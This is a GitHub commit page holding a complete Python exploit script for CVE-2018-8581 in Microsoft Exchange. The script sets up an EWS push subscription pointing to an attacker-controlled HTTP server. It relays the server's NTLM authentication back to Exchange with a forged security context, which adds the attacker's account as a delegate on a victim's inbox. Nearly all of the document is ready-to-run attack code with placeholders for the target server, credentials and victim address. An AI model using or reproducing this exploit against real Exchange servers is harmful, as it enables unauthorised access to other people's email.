Skip to content

Commit

Permalink
newcommit
Browse files Browse the repository at this point in the history
  • Loading branch information
WyAtu committed Dec 30, 2018
0 parents commit 72ef44f
Show file tree
Hide file tree
Showing 3 changed files with 864 additions and 0 deletions.
381 changes: 381 additions & 0 deletions CVE-2018-8581.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,381 @@
#!/usr/bin/python
# -*- coding:utf-8 -*-
#
# CVE-2018-8581
# https://github.com/WyAtu/CVE-2018-8581
#

import re
import ssl
import httplib
from ntlm import ntlm
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'

# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'

TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"

# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1

# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"

#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"

try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
pass
else:
ssl._create_default_https_context = _create_unverified_https_context

URL = "/EWS/Exchange.asmx"

def request_func(ip, port, proto, body):
if proto == 'https':
conn = httplib.HTTPSConnection(ip, port)
else:
conn = httplib.HTTPConnection(ip, port)

ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"}

conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()

if response.status == 401:
print "\t[*] Got 401 response with NTLM NONCE."
print "\t[*] Trying authenticate current user..."
Nonce = response.getheader("WWW-Authenticate")
(ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)
headers["Authorization"] = "NTLM " + ntlmresponce
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()
if response.status != 401:
print "\t[+] Authentication and request sent successfully"
conn.close()
return resp_data
conn.close()
exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))

def make_simple_add_body(exchange_version, target_email, controlled_email):
body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<soap:Header>
<t:RequestServerVersion Version="%s" />
</soap:Header>
<soap:Body>
<m:AddDelegate>
<m:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</m:Mailbox>
<m:DelegateUsers>
<t:DelegateUser>
<t:UserId>
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
</t:UserId>
<t:DelegatePermissions>
<t:InboxFolderPermissionLevel>None</t:InboxFolderPermissionLevel>
</t:DelegatePermissions>
<t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>
<t:ViewPrivateItems>false</t:ViewPrivateItems>
</t:DelegateUser>
</m:DelegateUsers>
<m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>
</m:AddDelegate>
</soap:Body>
</soap:Envelope>
'''%(exchange_version, target_email, controlled_email)
return body

def make_simple_remove_body(exchange_version, target_email, controlled_email):
body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="%s" />
</soap:Header>
<soap:Body>
<m:RemoveDelegate>
<m:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</m:Mailbox>
<m:UserIds>
<t:UserId>
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
</t:UserId>
</m:UserIds>
</m:RemoveDelegate>
</soap:Body>
</soap:Envelope>
'''%(exchange_version, target_email, controlled_email)
return body

def make_pushsubscription_body(exchange_version):
body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<soap:Header>
<t:RequestServerVersion Version="%s" />
</soap:Header>
<soap:Body >
<m:Subscribe>
<m:PushSubscriptionRequest SubscribeToAllFolders="true">
<t:EventTypes>
<t:EventType>NewMailEvent</t:EventType>
<t:EventType>ModifiedEvent</t:EventType>
<t:EventType>MovedEvent</t:EventType>
</t:EventTypes>
<t:StatusFrequency>1</t:StatusFrequency>
<t:URL>%s</t:URL>
</m:PushSubscriptionRequest>
</m:Subscribe>
</soap:Body>
</soap:Envelope>
'''%(exchange_version, EVIL_HTTPSERVER_URL)
return body

def make_relay_body(exchange_version, target_email, controlled_email, sid):
if FLAG == 1: body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="%s" />
<m:SerializedSecurityContext>
<m:UserSid>%s</m:UserSid>
<m:GroupSids>
<m:GroupIdentifier>
<t:SecurityIdentifier>%s</t:SecurityIdentifier>
</m:GroupIdentifier>
</m:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier></RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:AddDelegate>
<m:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</m:Mailbox>
<m:DelegateUsers>
<t:DelegateUser>
<t:UserId>
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
</t:UserId>
<t:DelegatePermissions>
<t:InboxFolderPermissionLevel>Editor</t:InboxFolderPermissionLevel>
</t:DelegatePermissions>
<t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>
<t:ViewPrivateItems>false</t:ViewPrivateItems>
</t:DelegateUser>
</m:DelegateUsers>
<m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>
</m:AddDelegate>
</soap:Body>
</soap:Envelope>
'''%(exchange_version, sid, sid, target_email, controlled_email)
else : body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="%s" />
<m:SerializedSecurityContext>
<m:UserSid>%s</m:UserSid>
<m:GroupSids>
<m:GroupIdentifier>
<t:SecurityIdentifier>%s</t:SecurityIdentifier>
</m:GroupIdentifier>
</m:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:RemoveDelegate>
<m:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</m:Mailbox>
<m:UserIds>
<t:UserId>
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
</t:UserId>
</m:UserIds>
</m:RemoveDelegate>
</soap:Body>
</soap:Envelope>
'''%(exchange_version, sid, sid, target_email, controlled_email)
return body

def get_sid(text):
sid = email = ""
sid_re = re.search('<t:SID>(.*?)</t:SID>', text, flags=re.I|re.M)
if sid_re: sid = sid_re.group(1)
email_re = re.search('<t:PrimarySmtpAddress>(.*?)</t:PrimarySmtpAddress>', text, flags=re.I|re.M)
if email_re: email = email_re.group(1)
return sid, email


def get_ntlm_challenge(ntlm_negotiate, body):
headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()

if response.status == 401:
Nonce = response.getheader("WWW-Authenticate")
return Nonce

def use_ntlm_auth(ntlm_auth, body):
resp_data = ""
headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()
return resp_data

class postHandler(BaseHTTPRequestHandler):
def do_POST(self):
global step
result = ""
headers = self.headers
authHeader = headers.getheader('Authorization')
if not authHeader:
self.send_response(401)
self.send_header('WWW-Authenticate:', 'NTLM')
self.end_headers()
step = 1
else:
if step == 1:
ntlm_negotiate = authHeader
step = 2
ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body)
self.send_response(401)
self.send_header('WWW-Authenticate:', ntlm_challenge)
self.end_headers()
else:
self.send_response(401)
self.end_headers()
ntlm_auth = authHeader
result = use_ntlm_auth(ntlm_auth, relay_body)
step = 3

if FLAG == 1 and step == 3:
if "ErrorDelegateAlreadyExists" in result:
print '[+] Delegate Already Exists'
return
sid, email = get_sid(result)
if sid == "":
print '[-] Something error, can\'t add delegate'
return
print '[+] Delegate added'
print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL)
elif FLAG == 0 and step == 3:
if 'ErrorNotDelegate' in result:
print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL)
return
if 'ErrorNonExistentMailbox' in result:
print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL)
return
if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result:
print "[-] Access denied"
return
if "NoError" in result:
print "[+] Delegate removed"
return
print "[-] Something error, can't remove delegate"
else:
pass
return

if __name__ == "__main__":
print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT)

print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL)
add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
result = request_func(IP, PORT, PROTO, add_body)

remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)

if 'ErrorDelegateAlreadyExists' in result:
print '[-] Delegate Already Exists'
print '[*] Now try to remove the delegate'
result = request_func(IP, PORT, PROTO, remove_body)
print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL)
add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
result = request_func(IP, PORT, PROTO, add_body)

sid, email = get_sid(result)
if sid == "":
exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL))
print "[+] Got the sid of '%s': %s"%(email, sid)

print "[*] Sending 'RemoveDelegate' EWS request..."
result = request_func(IP, PORT, PROTO, remove_body)
if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result:
exit("[-] Delegate not removed")
print "[+] Delegate removed"
push_body = make_pushsubscription_body(EXCHANGE_VERSION)
print "[*] Sending 'PushSubscription' EWS request..."
result = request_func(IP, PORT, PROTO, push_body)
if 'NoError' not in result:
exit("[-] Sending 'PushSubscription' EWS request failed")
print "[+] Sending 'PushSubscription' EWS request successfully"
print "[*] Now start to relay NTLM..."

if PROTO=='https':
conn = httplib.HTTPSConnection(IP, PORT)
else:
conn = httplib.HTTPConnection(IP, PORT)

relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid)

step=1
try:
server = HTTPServer(('', HTTPPORT), postHandler)
print '[*] Started httpserver on port', HTTPPORT
print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove')

while not(step == 3):
server.handle_request()

except KeyboardInterrupt:
print '[-] ^C received, shutting down the web server'
server.socket.close()
Loading

0 comments on commit 72ef44f

Please sign in to comment.